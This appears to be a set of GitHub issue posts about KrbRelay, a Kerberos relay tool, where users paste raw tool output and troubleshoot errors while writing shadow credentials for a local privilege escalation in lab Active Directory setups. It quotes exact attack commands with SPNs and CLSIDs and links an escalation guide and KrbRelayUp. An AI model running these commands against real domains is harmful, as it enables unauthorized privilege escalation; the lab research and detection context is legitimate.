7b08eb582d2d51cf1dffc05ee0701bdb57d7e
[] apRep1: 6f8187308184a003020105a10302010fa2783076a003020112a26f046d6b474d844cf745fae09c712f4ac2cdfb22bfd4176cc0fbe118c1890a869a6563e39a85fdb11c5bb9b448b06fb93199b286a249633db5322927c3391058a91ca9d2db858616b40276a81b3c679423c16454b6a5dd279211a2f2a049512c7706397f74641b30a534e972dcdbf0b7
[] AcceptSecurityContext: SEC_I_CONTINUE_NEEDED
[] fContextReq: Delegate, MutualAuth, UseDceStyle, Connection
[] apRep2: 6f5b3059a003020105a10302010fa24d304ba003020112a24404421a1e218b1c01b28ce574f89327ee162a2e6270030f637460681b285af6bd7044cf25318164f3257102bca5f6724fd732b8fa3d64df3d54350b925485edd9a13239fb
[+] SMB session established
[-] Could not bind to SCMR
[-] Could not start remoteregistry

Hi there!
I'm always getting this error:

[*] Using CLSID: 90f18417-f0f1-484e-9d3c-59dceee5dbd8
System.Runtime.InteropServices.COMException (0x80070422): The service cannot be started, either because it is disabled or because it has no enabled devices associated with it. (Exception from HRESULT: 0x80070422)
   at KrbRelay.Ole32.CoGetInstanceFromIStorage(COSERVERINFO pServerInfo, Guid& pclsid, Object pUnkOuter, CLSCTX dwClsCtx, IStorage pstg, UInt32 cmq, MULTI_QI[] rgmqResults)
   at KrbRelay.Program.Main(String[] args)

Which service might not be active?
I'm running the attack in a lab environment in AWS, DC+Server under domain, for research and detection.

Actually I have submitted an issue before, and eventually I found the problem is that my pc's DN contains chinese character. When performing -shadowcred to modify msds-credentiallink, the ldap returned the correct result, however the program submit some garbled string instead...

So, help please 🙏 🙏

Hi,

I am trying to execute the command ".\KrbRelay.exe -spn ldap/dc1.adlab.local -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 -shadowcred" from a Windows 10 client logged in as a domain admin but that fails with "System.ArgumentNullException: Value cannot be null" .

Hi.

I am trying to follow the LPE guide https://icyguider.github.io/2022/05/19/NoFix-LPE-Using-KrbRelay-With-Shadow-Credentials.html but I can't even get past the first step, writing shadow credentials. All I get is the error "LDAP_INSUFFICIENT_ACCESS". The command that fails for me is ".\KrbRelay.exe -spn ldap/dc1.adlab.local -clsid f8842f8e-dafe-4b37-9d38-4e0714a61149 -shadowcred". I am executing your tool on a domain-joined Windows client as a non-privileged domain account.

I can successfully execute commands such as ".\KrbRelay.exe -spn ldap/dc1.adlab.local -clsid f8842f8e-dafe-4b37-9d38-4e0714a61149 -console" so the AD etc is working. But, when I try to add shadow credentials using the LDAP console I get the same error as above.

If I add the session flag to the command specifying the session of a domain admin logged in to the same machine, writing shadow credentials works. However, that means this command will only work if there are privileged user account sessions on the same machine. Is that intended? If so, how come specifying the session flag is not required in the guide I linked to in the beginning?

In addition, the tool KrbRelayUp (https://github.com/Dec0ne/KrbRelayUp), which automates this whole LPE exploit, does not require a session from a privileged user account. According to the output from the tool when executed, see below, it coerces authentication from the SYSTEM account which could explain the access to LDAP. BUT, according to the Github page KrbRelayUp coerces authentication using YOUR tool. Sure enough, I can see that your tool does this in the output from it but it does so even when I get the error...

As you can see I don't understand how some commands and tools works but others do not using the exact same environment. What am I missing?